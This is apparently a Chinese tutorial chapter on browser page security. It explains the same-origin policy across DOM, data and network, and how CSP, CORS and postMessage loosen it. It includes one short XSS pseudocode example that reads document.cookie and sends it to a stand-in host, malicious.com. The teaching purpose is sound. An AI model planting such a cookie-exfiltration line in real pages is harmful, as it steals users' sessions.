通过前面 6 个模块的介绍,我们已经大致知道浏览器是怎么工作的了,也了解这种工作方式对前端产生了什么样的影响。在这个过程中,我们还穿插介绍了一些浏览器安全相关的内容,不过都比较散,所以最后的 5 篇文章,我们就来系统地介绍下浏览器安全相关的内容。

浏览器安全可以分为三大块——Web 页面安全、浏览器网络安全浏览器系统安全,所以本模块我们就按照这个思路来做介绍。鉴于页面安全的重要性,我们会用三篇文章来介绍该部分的知识;网络安全和系统安全则分别用一篇来介绍。

今天我们就先来分析页面中的安全策略,不过在开始之前,我们先来做个假设,如果页面中没有安全策略的话,Web 世界会是什么样子的呢?

Web 世界会是开放的,任何资源都可以接入其中,我们的网站可以加载并执行别人网站的脚本文件、图片、音频 / 视频等资源,甚至可以下载其他站点的可执行文件。

Web 世界是开放的,这很符合 Web 理念。但如果 Web 世界是绝对自由的,那么页面行为将没有任何限制,这会造成无序或者混沌的局面,出现很多不可控的问题。

比如你打开了一个银行站点,然后又一不小心打开了一个恶意站点,如果没有安全措施,恶意站点就可以做很多事情:

  • 修改银行站点的 DOM、CSSOM 等信息;
  • 在银行站点内部插入 JavaScript 脚本;
  • 劫持用户登录的用户名和密码;
  • 读取银行站点的 Cookie、IndexDB 等数据;
  • 甚至还可以将这些信息上传至自己的服务器,这样就可以在你不知情的情况下伪造一些转账请求等信息。

所以说,在没有安全保障的 Web 世界中,我们是没有隐私的,因此需要安全策略来保障我们的隐私和数据的安全

这就引出了页面中最基础、最核心的安全策略:同源策略(Same-origin policy)

什么是同源策略

要了解什么是同源策略,我们得先来看看什么是同源。

如果两个 URL 的协议、域名和端口都相同,我们就称这两个 URL 同源。比如下面这两个 URL,它们具有相同的协议 HTTPS、相同的域名 time.geekbang.org,以及相同的端口 443,所以我们就说这两个 URL 是同源的。

1
2
3
4

https://time.geekbang.org/?category=1

https://time.geekbang.org/?category=0

浏览器默认两个相同的源之间是可以相互访问资源和操作 DOM 的。两个不同的源之间若想要相互访问资源或者操作 DOM,那么会有一套基础的安全策略的制约,我们把这称为同源策略。

具体来讲,同源策略主要表现在 DOM、Web 数据和网络这三个层面。

第一个,DOM 层面。同源策略限制了来自不同源的 JavaScript 脚本对当前 DOM 对象读和写的操作。

这里我们还是拿极客时间的官网做例子,打开极客时间的官网,然后再从官网中打开另外一个专栏页面,如下图所示:

通过极客时间官网打开一个专栏页面

由于第一个页面和第二个页面是同源关系,所以我们可以在第二个页面中操作第一个页面的 DOM,比如将第一个页面全部隐藏掉,代码如下所示:

1
2
3
4
5
6
7
8

{

let pdom = opener.document

pdom.body.style.display = "none"

}

该代码中,对象 opener 就是指向第一个页面的 window 对象,我们可以通过操作 opener 来控制第一个页面中的 DOM。

我们在第二个页面的控制台中执行上面那段代码,就成功地操作了第一个页面中的 DOM,将页面隐藏了,如下图:

通过第二个页面操纵第一个页面的 DOM

不过如果打开的第二个页面和第一个页面不是同源的,那么它们就无法相互操作 DOM 了。比如从极客时间官网打开 InfoQ 的页面(由于它们的域名不同,所以不是同源的),然后我们还按照前面同样的步骤来操作,最终操作结果如下图所示:

不同源的两个页面不能相互操纵 DOM

从图中可以看出,当我们在 InfoQ 的页面中访问极客时间页面中的 DOM 时,页面抛出了如下的异常信息,这就是同源策略所发挥的作用。

1
2

Blocked a frame with origin "https://www.infoq.cn" from accessing a cross-origin frame.

第二个,数据层面。同源策略限制了不同源的站点读取当前站点的 Cookie、IndexDB、LocalStorage 等数据。由于同源策略,我们依然无法通过第二个页面的 opener 来访问第一个页面中的 Cookie、IndexDB 或者 LocalStorage 等内容。你可以自己试一下,这里我们就不做演示了。

第三个,网络层面。同源策略限制了通过 XMLHttpRequest 等方式将站点的数据发送给不同源的站点。你还记得在《17 | WebAPI:XMLHttpRequest 是怎么实现的?》这篇文章的末尾分析的 XMLHttpRequest 在使用过程中所遇到的坑吗?其中第一个坑就是在默认情况下不能访问跨域的资源。

安全和便利性的权衡

我们了解了同源策略会隔离不同源的 DOM、页面数据和网络通信,进而实现 Web 页面的安全性。

不过安全性和便利性是相互对立的,让不同的源之间绝对隔离,无疑是最安全的措施,但这也会使得 Web 项目难以开发和使用。因此我们就要在这之间做出权衡,出让一些安全性来满足灵活性;而出让安全性又带来了很多安全问题,最典型的是 XSS 攻击和 CSRF 攻击,这两种攻击我们会在后续两篇文章中再做介绍,本文我们只聊浏览器出让了同源策略的哪些安全性。

1. 页面中可以嵌入第三方资源

我们在文章开头提到过,Web 世界是开放的,可以接入任何资源,而同源策略要让一个页面的所有资源都来自于同一个源,也就是要将该页面的所有 HTML 文件、JavaScript 文件、CSS 文件、图片等资源都部署在同一台服务器上,这无疑违背了 Web 的初衷,也带来了诸多限制。比如将不同的资源部署到不同的 CDN 上时,CDN 上的资源就部署在另外一个域名上,因此我们就需要同源策略对页面的引用资源开一个“口子”,让其任意引用外部文件。

所以最初的浏览器都是支持外部引用资源文件的,不过这也带来了很多问题。之前在开发浏览器的时候,遇到最多的一个问题是浏览器的首页内容会被一些恶意程序劫持,劫持的途径很多,其中最常见的是恶意程序通过各种途径往 HTML 文件中插入恶意脚本。

比如,恶意程序在 HTML 文件内容中插入如下一段 JavaScript 代码:

当这段 HTML 文件的数据被送达浏览器时,浏览器是无法区分被插入的文件是恶意的还是正常的,这样恶意脚本就寄生在页面之中,当页面启动时,它可以修改用户的搜索结果、改变一些内容的连接指向,等等。

除此之外,它还能将页面的的敏感数据,如 Cookie、IndexDB、LoacalStorage 等数据通过 XSS 的手段发送给服务器。具体来讲就是,当你不小心点击了页面中的一个恶意链接时,恶意 JavaScript 代码可以读取页面数据并将其发送给服务器,如下面这段伪代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

function onClick(){

  let url = `http://malicious.com?cookie = ${document.cookie}`

  open(url)

}

onClick()

在这段代码中,恶意脚本读取 Cookie 数据,并将其作为参数添加至恶意站点尾部,当打开该恶意页面时,恶意服务器就能接收到当前用户的 Cookie 信息。

以上就是一个非常典型的 XSS 攻击。为了解决 XSS 攻击,浏览器中引入了内容安全策略,称为 CSP。CSP 的核心思想是让服务器决定浏览器能够加载哪些资源,让服务器决定浏览器是否能够执行内联 JavaScript 代码。通过这些手段就可以大大减少 XSS 攻击。

2. 跨域资源共享和跨文档消息机制

默认情况下,如果打开极客邦的官网页面,在官网页面中通过 XMLHttpRequest 或者 Fetch 来请求 InfoQ 中的资源,这时同源策略会阻止其向 InfoQ 发出请求,这样会大大制约我们的生产力。

为了解决这个问题,我们引入了跨域资源共享(CORS),使用该机制可以进行跨域访问控制,从而使跨域数据传输得以安全进行。

在介绍同源策略时,我们说明了如果两个页面不是同源的,则无法相互操纵 DOM。不过在实际应用中,经常需要两个不同源的 DOM 之间进行通信,于是浏览器中又引入了跨文档消息机制,可以通过 window.postMessage 的 JavaScript 接口来和不同源的 DOM 进行通信。

总结

好了,今天就介绍到这里,下面我来总结下本文的主要内容。

同源策略会隔离不同源的 DOM、页面数据和网络通信,进而实现 Web 页面的安全性。

不过鱼和熊掌不可兼得,要绝对的安全就要牺牲掉便利性,因此我们要在这二者之间做权衡,找到中间的一个平衡点,也就是目前的页面安全策略原型。总结起来,它具备以下三个特点:

  1. 页面中可以引用第三方资源,不过这也暴露了很多诸如 XSS 的安全问题,因此又在这种开放的基础之上引入了 CSP 来限制其自由程度。
  2. 使用 XMLHttpRequest 和 Fetch 都是无法直接进行跨域请求的,因此浏览器又在这种严格策略的基础之上引入了跨域资源共享策略,让其可以安全地进行跨域操作。
  3. 两个不同源的 DOM 是不能相互操纵的,因此,浏览器中又实现了跨文档消息机制,让其可以比较安全地通信。

思考时间

今天留给你的作业:你来总结一下同源策略、CSP 和 CORS 之间的关系,这对于你理解浏览器的安全策略至关重要。

欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。